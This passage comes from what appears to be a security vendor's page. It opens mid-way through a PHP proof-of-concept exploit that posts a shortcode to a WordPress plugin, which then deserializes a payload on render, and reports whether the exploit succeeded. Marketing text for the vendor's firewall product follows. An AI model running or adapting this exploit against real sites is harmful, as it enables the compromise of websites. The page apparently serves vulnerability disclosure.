curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);

// Step 3: Verify the post was created and the shortcode is processed
// The plugin will deserialize the payload when rendering the shortcode.
if (strpos($response, 'jsarchive') !== false) {
    echo "Exploit likely succeeded. Shortcode inserted.";
} else {
    echo "Exploit may have failed.";
}
curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School